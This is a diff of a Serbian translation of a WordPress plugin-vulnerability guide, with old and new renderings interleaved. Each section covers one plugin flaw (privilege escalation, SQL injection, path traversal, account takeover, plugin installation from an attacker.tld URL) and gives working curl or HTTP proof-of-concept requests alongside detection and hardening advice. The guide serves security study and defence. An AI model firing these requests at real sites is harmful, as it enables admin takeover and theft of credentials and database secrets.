Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) plugin-u (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu `reset-for=<username>` ako je korisničko ime postojalo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni nonce verifikaciju pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -481,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Zašto je iskorišćivo
|
||||
|
||||
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani.
|
||||
- Ako je korisnik prethodno imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles`, a kasnije su mu smanjene, može ih vratiti pristupom putanji za reset.
|
||||
- U nekim okruženjima, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
|
||||
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na strani servera.
|
||||
- Ako je korisnik ranije imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je degradiran, može ih vratiti tako što će pristupiti putanji za reset.
|
||||
- U nekim instalacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokvarena autorizacija).
|
||||
|
||||
Eksploatacija (primer)
|
||||
```bash
|
||||
@ -493,21 +493,21 @@ Eksploatacija (primer)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Na ranjivim build-ovima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efektivno izvodi privilege escalation.
|
||||
Na ranjivim verzijama ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), efektivno eskalirajući privilegije.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Potražite funkcije za prebacivanje rola koje čuvaju originalne role u user meta (npr. `_asenha_view_admin_as_original_roles`).
|
||||
- Potražite funkcije za prebacivanje role koje čuvaju “izvorne role” u user meta (npr. `_asenha_view_admin_as_original_roles`).
|
||||
- Identifikujte reset/restore putanje koje:
|
||||
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Mijenjaju role preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na osnovu actor’s capabilities.
|
||||
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifikuju role preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na sposobnostima aktera.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
### Neautentifikovana eskalacija privilegija putem prebacivanja korisnika koji se oslanja na cookie na javnom init (Service Finder “sf-booking”)
|
||||
|
||||
Neki pluginovi povezuju user-switching helper-e na public `init` hook i određuju identitet iz cookie-ja kontrolisanog od strane klijenta. Ako kod poziva `wp_set_auth_cookie()` bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisilno prijaviti kao proizvoljan user ID.
|
||||
Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni `init` hook i izvode identitet iz cookie-ja koji kontroliše klijent. Ako kod poziva `wp_set_auth_cookie()` bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.
|
||||
|
||||
Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
@ -538,13 +538,13 @@ wp_die('Original user not found.');
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Zašto je iskorišćivo
|
||||
Zašto je moguće iskoristiti
|
||||
|
||||
- Javni `init` hook čini handler dostupnim neautentifikovanim korisnicima (nema `is_user_logged_in()` provere).
|
||||
- Identitet potiče iz kolačića koji klijent može menjati (`original_user_id`).
|
||||
- Direktan poziv `wp_set_auth_cookie($uid)` prijavljuje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera.
|
||||
- Javni `init` hook čini handler dostupan neautentifikovanim korisnicima (nema `is_user_logged_in()` provere).
|
||||
- Identitet potiče iz cookie-ja koji klijent može izmeniti (`original_user_id`).
|
||||
- Direktan poziv `wp_set_auth_cookie($uid)` uloguje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
Eksploatacija (bez autentifikacije)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -556,32 +556,32 @@ Connection: close
|
||||
|
||||
### WAF razmatranja za WordPress/plugin CVEs
|
||||
|
||||
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnogi high‑impact WordPress/plugin propusti su application-specific logic/auth bagovi koji izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.
|
||||
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin-ova.
|
||||
|
||||
Offensive notes
|
||||
Ofanzivne napomene
|
||||
|
||||
- Ciljajte plugin-specific endpoints sa čistim payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Prvo testirajte unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
|
||||
- Ciljajte plugin-specifične endpoints sa clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Prvo testirajte unauth paths (AJAX `nopriv`, REST sa permissive `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
|
||||
- Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
Odbrambene napomene
|
||||
|
||||
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte.
|
||||
- Dajte prednost positive-security proverama u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
|
||||
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte.
|
||||
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negative regex filtera.
|
||||
|
||||
## WordPress Protection
|
||||
## Zaštita WordPress-a
|
||||
|
||||
### Regular Updates
|
||||
### Redovna ažuriranja
|
||||
|
||||
Uverite se da su WordPress, plugins, i themes ažurirani. Takođe potvrdite da je automated updating omogućeno u wp-config.php:
|
||||
Uverite se da su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
||||
Takođe, **instalirajte samo pouzdane WordPress pluginove i teme**.
|
||||
|
||||
### Sigurnosni dodaci
|
||||
### Sigurnosni pluginovi
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
@ -589,16 +589,16 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
||||
|
||||
### **Ostale preporuke**
|
||||
|
||||
- Uklonite podrazumevanog korisnika **admin**
|
||||
- Uklonite podrazumevanog **admin** korisnika
|
||||
- Koristite **jake lozinke** i **2FA**
|
||||
- Povremeno **pregledajte dozvole** korisnika
|
||||
- **Ograničite pokušaje prijave** da biste sprečili Brute Force napade
|
||||
- Preimenujte fajl `wp-admin.php` i omogućite pristup samo interno ili sa određenih IP adresa.
|
||||
- Periodično **pregledajte** **dozvole** korisnika
|
||||
- **Ograničite broj pokušaja prijave** da biste sprečili Brute Force napade
|
||||
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
|
||||
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u okviru `modules/category/model.php::validateFormData()`:
|
||||
WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Problemi koje uvodi ovaj isječak:
|
||||
Problemi uvedeni ovim isječkom:
|
||||
|
||||
1. **Nefiltrirani korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
|
||||
2. **Konkatenacija stringova u WHERE klauzuli** – nema `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Pristup bez autentikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može dobiti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`.
|
||||
1. **Nesanitizovani korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
|
||||
2. **Spajanje stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / pripremljenog upita.
|
||||
3. **Neautentifikovan pristup** – iako se akcija izvršava kroz `admin-post.php`, jedina provera koja postoji je a **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može preuzeti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
1. Nabavite svež nonce:
|
||||
1. Preuzmi novi nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Injektujte proizvoljan SQL zloupotrebom `parentid`:
|
||||
2. Injektuj proizvoljan SQL zloupotrebom `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, čime se dokazuje SQLi.
|
||||
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
### Neautentifikovano Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Još jedan zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Još jedan zadatak, **downloadcustomfile**, je omogućavao posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal-a. Ranljiv sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice resume.
|
||||
`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedina prepreka je **CSRF nonce** koji se može dohvatiti sa stranice rezimea.
|
||||
|
||||
#### Eksploatacija
|
||||
```bash
|
||||
@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
The server vraća sadržaj `wp-config.php`, leaking DB credentials and auth keys.
|
||||
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
## Preuzimanje naloga bez autentifikacije preko Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Mnogi themes/plugins uključuju "social login" pomoćne funkcije izložene preko admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje klijent pošalje kada podaci provajdera nedostaju, a zatim pozove wp_set_auth_cookie(), to omogućava potpuno zaobilaženje autentifikacije.
|
||||
Mnogo tema/plugina sadrži "social login" pomoćnike izložene putem admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje šalje klijent kada podaci provajdera nedostaju i zatim pozove wp_set_auth_cookie(), to postaje potpuni zaobilaženje autentifikacije.
|
||||
|
||||
Tipičan ranjiv obrazac (pojednostavljeno)
|
||||
Tipičan pogrešan obrazac (pojednostavljeno)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Zašto je ranjivo
|
||||
Zašto je iskorištivo
|
||||
|
||||
- Neautentifikovan pristup putem admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Nema nonce/capability provera pre promene stanja.
|
||||
- Nedostaje OAuth/OpenID provider verification; default branch prihvata unos napadača.
|
||||
- get_user_by('email', $_POST['id']) nakon čega sledi wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo kog korisnika sa postojećom email adresom.
|
||||
- Pristup bez autentifikacije preko admin-ajax.php (wp_ajax_nopriv_… action).
|
||||
- Nema provere nonce/capability pre promene stanja.
|
||||
- Nedostaje verifikacija OAuth/OpenID providera; default branch prihvata ulaz od napadača.
|
||||
- get_user_by('email', $_POST['id']) praćeno wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo koju postojeću email adresu.
|
||||
|
||||
Eksploatacija (neautentifikovano)
|
||||
|
||||
- Preduslovi: napadač može da pristupi /wp-admin/admin-ajax.php i zna/pretpostavi važeću korisničku email adresu.
|
||||
- Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i poslali id=<victim_email>.
|
||||
- Preduslovi: napadač može da dosegne /wp-admin/admin-ajax.php i zna/pogađa važeću korisničku email adresu.
|
||||
- Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i prosledili id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
@ -708,41 +708,41 @@ action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Očekivani indikatori uspeha
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 200 sa JSON telom poput {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* za žrtvin nalog; naknadni zahtevi su autentifikovani.
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* za korisnika žrtve; naredni zahtevi su autentifikovani.
|
||||
|
||||
Pronalazak imena akcije
|
||||
Finding the action name
|
||||
|
||||
- Pregledajte theme/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u social login kodu (npr. framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep-ujte za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handler-a.
|
||||
- Pregledajte temu/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u kodu za social login (npr. framework/add-ons/social-login/class-social-login.php).
|
||||
- Grep za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handlera.
|
||||
|
||||
Kontrolna lista za detekciju
|
||||
Detection checklist
|
||||
|
||||
- Web logovi koji pokazuju unauthenticated POST-ove ka /wp-admin/admin-ajax.php sa social-login akcijom i id=<email>.
|
||||
- 200 odgovori sa success JSON-om neposredno pre autentifikovanog saobraćaja sa iste IP/User-Agent kombinacije.
|
||||
- Web logovi koji pokazuju neautentifikovane POST-ove na /wp-admin/admin-ajax.php sa social-login akcijom i id=<email>.
|
||||
- 200 odgovori sa success JSON-om koji odmah prethode autentifikovanom saobraćaju sa iste IP/User-Agent.
|
||||
|
||||
Ojačavanje
|
||||
Hardening
|
||||
|
||||
- Ne izvodite identitet iz klijentskog inputa. Prihvatati samo emails/IDs koji potiču od validiranog provider token/ID.
|
||||
- Zahtevajte CSRF nonces i capability checks čak i za login helper-e; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno.
|
||||
- Validirajte i verifikujte OAuth/OIDC odgovore server-side; odbacite nedostajuće/invalidne providere (bez fallback-a na POST id).
|
||||
- Ne izvlačite identitet iz klijentskog unosa. Prihvatati samo emailove/ID-e koji potiču iz validiranog tokena/ID-a provajdera.
|
||||
- Zahtijevajte CSRF nonces i provere privilegija čak i za pomoćnike za prijavu; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno.
|
||||
- Validirajte i verifikujte OAuth/OIDC odgovore na serverskoj strani; odbacite nedostajuće/nevažeće providere (bez fallback-a na POST id).
|
||||
- Razmotrite privremeno onemogućavanje social login-a ili virtuelno zakrpljivanje na edge-u (blokirajte ranjivu akciju) dok se ne popravi.
|
||||
|
||||
Ispravljeno ponašanje (Jobmonster 4.8.0)
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Uklonjen nesigurni fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']).
|
||||
- Uklonjen nesiguran fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Neki plugin-ovi izlažu REST endpoint-e koji generišu reusable “connection keys” ili tokene bez verifikacije capabilities pozivaoca. Ako ruta autentifikuje samo na osnovu pogađajućeg atributa (npr. username) i ne veže ključ za korisnika/session sa capability checks, bilo koji unauthenticated napadač može izdati ključ i pozvati privilegovane akcije (kreiranje admin naloga, plugin akcije → RCE).
|
||||
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: prihvata username, izdaje connection key bez current_user_can() ili striktne permission_callback
|
||||
- Impact: potpuni takeover povezivanjem izdanog ključa sa internim privilegovanim akcijama
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – izdati connection key i iskoristiti ga
|
||||
PoC – kreirajte connection key i upotrebite ga
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
@ -756,54 +756,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Zašto je ranjivo
|
||||
- Osetljiva REST ruta zaštićena samo dokazom identiteta niske entropije (username) ili bez permission_callback
|
||||
- Nema provere capability; generisani ključ se prihvata kao univerzalni bypass
|
||||
Zašto je iskoristivo
|
||||
- Osetljiva REST ruta zaštićena samo slabim dokazom identiteta (korisničko ime/email) ili nedostaje permission_callback
|
||||
- Nema sprovođenja capability; izdati ključ se prihvata kao univerzalno zaobilaženje
|
||||
|
||||
Provera za detekciju
|
||||
- Pretražite kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Bilo koja ruta koja izdaje tokene/ključeve na osnovu identiteta dostavljenog u zahtevu (username/email) bez vezivanja za autentifikovanog korisnika ili capability
|
||||
- Potražite naredne rute koje prihvataju generisani token/ključ bez server-side provere capability-a
|
||||
Kontrolna lista za detekciju
|
||||
- Grep-uj kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Bilo koja ruta koja izdaje tokene/ključeve zasnovane na identitetu poslatom u zahtevu (korisničko ime/email) bez vezivanja za autentifikovanog korisnika ili capability
|
||||
- Traži naredne rute koje prihvataju izdati token/ključ bez provere capability na serverskoj strani
|
||||
|
||||
Ojačavanje
|
||||
- Za svaku privilegovanu REST rutu: zahtevajte permission_callback koji poziva current_user_can() za potrebnu capability
|
||||
- Ne generišite dugovečne ključeve na osnovu identiteta dostavljenog od klijenta; ako je neophodno, izdajte kratkotrajne tokene vezane za korisnika posle autentifikacije i ponovo proverite capability prilikom upotrebe
|
||||
- Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbijte zahteve gde !is_user_logged_in() || !current_user_can(<cap>)
|
||||
- Za svaku privilegovanu REST rutu: zahtevati permission_callback koji poziva current_user_can() za potrebnu capability
|
||||
- Ne izdavati dugovečne ključeve na osnovu identiteta poslatog od klijenta; ako je potrebno, izdavati kratkotrajne tokene vezane za korisnika nakon autentifikacije i ponovo proveravati capability pri upotrebi
|
||||
- Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbacite zahteve gde !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
## Nonce gate misuse → neautentifikovana proizvoljna instalacija plugina (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces sprečavaju CSRF, a ne autorizaciju. Ako kod tretira prolaz nonce-a kao zeleno svetlo i zatim preskače provere capability za privilegovane operacije (npr., install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabu nonce proveru i dostići RCE instaliranjem backdoored ili ranjivog plugina.
|
||||
Nonces sprečavaju CSRF, ne autorizaciju. Ako kod tretira uspešan nonce kao zeleno svetlo i onda preskače provere capability za privilegovane operacije (npr. install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabi nonce uslov i postići RCE instaliranjem backdoored or vulnerable plugin.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: potpuna kompromitacija putem proizvoljne instalacije/aktivacije plugina
|
||||
- Impact: full compromise via arbitrary plugin install/activation
|
||||
|
||||
PoC (oblik zavisi od plugina; služi samo kao ilustracija)
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Detection checklist
|
||||
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
|
||||
- Any code path that sets $skip_caps = true after nonce validation
|
||||
- REST/AJAX handler-i koji menjaju plugins/themes, a koriste samo wp_verify_nonce()/check_admin_referer() i bez provere privilegija
|
||||
- Bilo koji code path koji postavlja $skip_caps = true nakon validacije nonce-a
|
||||
|
||||
Hardening
|
||||
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
|
||||
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
|
||||
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
|
||||
- Uvek tretirajte nonces samo kao CSRF tokene; primenjujte provere privilegija bez obzira na stanje nonce-a
|
||||
- Zahtevajte current_user_can('install_plugins') i current_user_can('activate_plugins') pre nego što se dođe do installer koda
|
||||
- Odbacite neautentifikovan pristup; izbegavajte izlaganje nopriv AJAX actions za privilegovane tokove
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
|
||||
Više depicter-* actions je koristilo parametar s (search) i konkateniralo ga u SQL upite bez parameterizacije.
|
||||
|
||||
- Parametar: s (search)
|
||||
- Propust: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
|
||||
- Uticaj: database exfiltration (users, hashes), lateral movement
|
||||
- Parameter: s (search)
|
||||
- Flaw: direktna string concatenation u WHERE/LIKE klauzulama; nema prepared statements/sanitization
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
@ -812,35 +812,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Detekciona kontrolna lista
|
||||
- Koristite grep za depicter-* action handlers i direktnu upotrebu $_GET['s'] ili $_POST['s'] u SQL-u
|
||||
- Pregledajte prilagođene upite prosleđene u $wpdb->get_results()/query() koji konkateniraju s
|
||||
Detection checklist
|
||||
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
|
||||
- Review custom queries passed to $wpdb->get_results()/query() concatenating s
|
||||
|
||||
Ojačavanje
|
||||
- Uvek koristite $wpdb->prepare() ili wpdb placeholders; odbacujte neočekivane metakaraktere na serverskoj strani
|
||||
- Dodajte strogu allowlistu za s i normalizujte na očekivani charset/dužinu
|
||||
Hardening
|
||||
- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
|
||||
- Add a strict allowlist for s and normalize to expected charset/length
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Prihvatanje putanja pod kontrolom napadača u template parametru bez normalizacije/ograničenja omogućava čitanje proizvoljnih lokalnih fajlova, a ponekad i izvršavanje koda ako se PHP/log fajlovi koji se mogu include-ovati učitaju u runtime.
|
||||
Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: nema normalizacije/allowlistinga; traversal permitted
|
||||
- Impact: otkrivanje tajni (wp-config.php), potencijalni RCE u specifičnim okruženjima (log poisoning, includable PHP)
|
||||
- Flaw: no normalization/allowlisting; traversal permitted
|
||||
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
|
||||
|
||||
PoC – pročitajte wp-config.php
|
||||
PoC – čitanje wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Detection checklist
|
||||
- Bilo koji handler koji konkatenira request putanje u include()/require()/read sinkove bez provere containment-a preko realpath()
|
||||
- Tražite obrasce traversal-a (../) koji izlaze izvan predviđenog templates direktorijuma
|
||||
Kontrolna lista za detekciju
|
||||
- Bilo koji handler koji spaja request paths u include()/require()/read sinks bez realpath() containment
|
||||
- Tražite traversal obrasce (../) koji dopiru izvan predviđenog direktorijuma sa template-ima
|
||||
|
||||
Hardening
|
||||
- Sprovodite listu dozvoljenih template-ova; rešavajte putanje pomoću realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalizujte ulaz; odbacujte traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za pune putanje)
|
||||
Ojačavanje
|
||||
- Primorajte korišćenje dozvoljenih (allowlisted) template-a; rešavajte sa realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalizujte ulaz; odbacite traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za pune putanje)
|
||||
|
||||
|
||||
## References
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Šta je command Injection?
|
||||
